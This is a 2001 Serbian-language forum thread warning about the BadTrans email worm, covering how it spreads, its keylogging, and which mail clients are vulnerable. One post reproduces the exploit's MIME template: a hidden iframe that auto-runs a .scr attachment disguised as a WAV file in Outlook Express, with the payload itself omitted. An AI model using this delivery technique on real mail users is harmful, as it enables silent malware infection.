Upozorenje o novom virusu.. zaraznom.

[ Jbyn4e @ 28.11.2001. 15:49 ] @

Od nedavno (AVP ga prepoznaje sa novim update-iovima) siri se gadan viruscic... Ako dobijete prazan mail od nekoga, to ne znaci da je on prazan.... virus se zove I-Worm.Badtransll, a vise o njemu saznajte na adresi:
http://www.viruslist.com/eng/V...0&key=00001000130000100112

(ovo sve u jednom redu ako se prelomi link..)

[ stinger @ 28.11.2001. 17:46 ] @

taj virus "hara" vec oko 6-7 dana i predstavlja ce veliki problem jel uspeva da "otvori" prazan prozor korisniku do kojeg stigne sa pitanjem da li da ga otvori ili sacuva ;) vrlo interesantno, a u sustini jednostavno je iskoriscen novi bug OutlookXpress-a sledi kod:

From: "Neko" <[email protected]>
To: Neki mail <[email protected]>
Subject: Re:
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="news_doc.DOC.scr"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

Zatim virus enkodovan ovde...

--====_ABC1234567890DEF_====

Veoma je interesantan deo gde se poziva virus, tj deo sa iframe-om.

[ prosams @ 28.11.2001. 21:13 ] @

Pazi ovako.
Stigao mi je.
Na virus listu piše da stiže od nekih ljudi sa desetak imena. Meni je stigao od poznanika, sa kojim nisam u odnosima, pa ne bih baš da ga pitam da li je on. Siguran sam da nije jer taj moj mail nije znao, ai nije takav čovek. n taj mail mi već odavno stižu virusi.
Da li je moguće da je on poslao meni mail, ali se virus "uz put zakačio"?
Malo je istrokirao explorer. Ali se nije otvorio nikakav prozor. možda zato što sam bio offline. Čak mi je Outlook 6 prijavio da je moguće da se radi o virusu. Ali je sve u redu.

[ Boris @ 28.11.2001. 23:14 ] @

Pa pretpostavljam ustvari gotovo sam siguran da šalje sam sebe na svaki email iz address book-a, zato si ga valjda dobio od poznanika(ti si upisan u njegov address book) znači nije kriv :). Nebi bio toliko opasan da se neširi sam. A i ja sam par puta dobio taj virri, znači hara svetom.

[ Gojko Vujovic @ 29.11.2001. 11:29 ] @

Noćas sam dobio oko 60 komada, ne smem ni da pomislim šta će sutra biti.. i to sve od ljudi sa kojima sam kontaktirao nekada. A svaki od tih 60 je 40KB pa vi računajte .. udaviše me.

[ prosams @ 29.11.2001. 12:50 ] @

ha, ha
Ja sam sam sebi poslao.
A i mislim da se ne radi samo o adresama u Adress book-u nego i o onim u sent folderu.

[ Boris @ 29.11.2001. 13:36 ] @

A virus je tako providan, bar ovi koji su meni stizali nema nista u poruci i sam attachment. I sto bi ja sad zapamtio attachment, nisam lud, a i sto bi meni neko nenajavljeno slao poruku sa attacmentom. Bezveze...

[ Jbyn4e @ 29.11.2001. 16:47 ] @

Citat:

Boris je napisao:
A virus je tako providan, bar ovi koji su meni stizali nema nista u poruci i sam attachment. I sto bi ja sad zapamtio attachment, nisam lud, a i sto bi meni neko nenajavljeno slao poruku sa attacmentom. Bezveze...

NIje bas bezveze... jer ti ne moras da POKRENES attachment da bi se zarazio...

Evo ti citat sa monitor.hr:
Internetom se proteklih dana širi virus BadTrans koji pokušava instalirati softver za praćenje onoga što korisnik utipkava i prenošenje tih informacija tvorcu programa, kako je objavio BBC. BadTrans-B pokušava iskoristiti slabosti u Microsoftovom e-mail programu, ali za razliku od ostalih e-mail virusa, kod ovog ne treba ni kliknuti na attachment da bi se virus aktivirao i pokušao "zajašiti" na vaš adresar odakle se šalje dalje, već infekciju može pokrenuti jednostavan `preview` maila

[ Gojko Vujovic @ 29.11.2001. 18:22 ] @

Zašto bi neko još koristio Outlook Express koji je jedini vuln. ??

A ako ga već koristi, onda nema pravo da se buni.. neka pređe na mozilu, es.verat.net/pub/mozilla/ i www.mozilla.org/ .

[ nemesis @ 30.11.2001. 01:44 ] @

Citat:

Jbyn4e je napisao:
Od nedavno (AVP ga prepoznaje sa novim update-iovima) siri se gadan )

a koj virus pa nije ''zarazan'' :)

[ Jbyn4e @ 30.11.2001. 15:06 ] @

Citat:

Gojko Vujovic je napisao:
Zašto bi neko još koristio Outlook Express koji je jedini vuln. ??

Ajoj Gojko ovakvom pitanju se nisam nadao od tebe... pa zato sto obicno ljudi (citaj: prosecan korisnik interneta) kupe racunar sa win, na kome je i IE i OE (politika M$-a, jel tako bese), pa onda koristi ono sto ima, a to je OE. Dok se on seti da MOZDA postoje i drugi mail programi... eh.

A sto se tice nemesisa.. da, svaki je zarazan virus, samo sam se zaj****... tj. hteo sam da kazem (sto ste i ukapirali dosad) da se ovaj lakse siri od ostalih...

[ Gojko Vujovic @ 30.11.2001. 15:17 ] @

Nisi se nadao ? Ma pitanje je bilo ironično.. A ovo je forum za "natprosečne" korisnike interneta, ako u prosečne svrstavaš one koji znaju samo OE i IE da koriste.

Rekao bih sada "Neka se podave u virusima zajedno sa svojim voljenim MS-om" ali neću da budem zao

[ Tigerheart @ 30.11.2001. 20:46 ] @

Citat:

Jbyn4e je napisao:
Od nedavno (AVP ga prepoznaje sa novim update-iovima) siri se gadan viruscic... Ako dobijete prazan mail od nekoga, to ne znaci da je on prazan.... virus se zove I-Worm.Badtransll, a vise o njemu saznajte na adresi:
http://www.viruslist.com/eng/V...0&key=00001000130000100112

(ovo sve u jednom redu ako se prelomi link..)

Au bre ...ja ih dobi par komada .... al tu je The Bat ....:) he he he .... pa je malcice teze da se zarazim ... jedino ako to ja hocu ...:) i normalno AVP :)

Nego kad smo kod toga ... primetio sam da kad salje sa nekog naloga on stavlja znak "_" ispred e-mail-a .... npr [email protected] domen
Sto se tice provajdera .... kontaktirao sam Sezampro, EUnet i Tehnicom .... uglavnom sa tih naloga su mi stizali trojanci ......:)

[ nemesis @ 02.12.2001. 00:50 ] @

Citat:

Jbyn4e:
A sto se tice nemesisa.. da, svaki je zarazan virus, samo sam se zaj****... tj. hteo sam da kazem (sto ste i ukapirali dosad) da se ovaj lakse siri od ostalih...

:) ... znate li koji je najveci svetski trojanac ?
---
bash me zanimaju vashi odgovori ...

[ Gojko Vujovic @ 02.12.2001. 11:34 ] @

Back Orrifice je sigurno bio.. ne znam trenutno.

[ THC @ 06.12.2001. 14:24 ] @

To je worm, i postavlja trojanca i gricka fajlove, ponavlja se istorija...